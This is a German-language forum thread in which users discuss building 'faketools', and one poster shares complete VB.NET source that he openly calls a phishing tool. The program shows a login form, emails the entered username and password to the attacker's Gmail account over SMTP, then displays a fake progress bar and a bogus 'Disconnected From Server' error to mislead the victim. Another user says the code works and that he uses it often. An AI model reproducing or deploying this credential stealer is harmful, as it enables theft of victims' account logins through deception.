Suche faketool selbermachen tut!

[_EazyE]

LOL gut beobachtet!
lol drumerluke, sniff versuch ??

aber danke für den kommentar

[drumerluke]

ja klarr KD aber dafür mussu mir sagen, wie du das gemacht hast.... mit dem unsniffbar teil.....

[HTC]

grüße dich @_EazyE!

Mach doch eins mit VB.net (visual basic 2008 ) ich geb dir mal nen code aber den raffst du nur wenn du dich vertraut machst mach dein eigenen Style aber setze ihn hier am besten nicht rein (den style,weil es hier nur neidische kiddis gibt. ) und postet bloß jetzt keine dummen AW ich ignoriere sie eh alle !!! ( bug me not ! ) is ein phishing Tool in dem Fall.

Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("FRAGEZEICHEN@googlemail.com", "dein Passwort")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.googlemail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("FRAGEZEICHEN@googlemail.com")
        mail.To.Add("FRAGEZEICHEN@googlemail.com")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
                Timer1.Start()
        If TextBox2.Text = "" Then
            Timer1.Stop()
            If TextBox2.Text = "" Then
                ProgressBar1.Value = 0
            End If
        End If
        If TextBox1.Text = "" Then
            Timer1.Stop()
            If TextBox1.Text = "" Then
                ProgressBar1.Value = 0
            End If
        End If
        If TextBox2.Text = "" Then
            MsgBox("Password Is Mising")
        End If
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
        End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)

        If ProgressBar1.Value = ProgressBar1.Maximum Then
            Timer1.Stop()
            ProgressBar1.Value = 0
            MsgBox("Disconnected From Server, Please try again later!")
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Me.Close()
    End Sub
End Class

[Slawa]

Ja das funktioniert, als ich mit VB.NT angefangen habe, habe ich das erste mal den Code benutzt und heute benutz ich den fast auch, sogar sehr oft.

Gruß

Slawa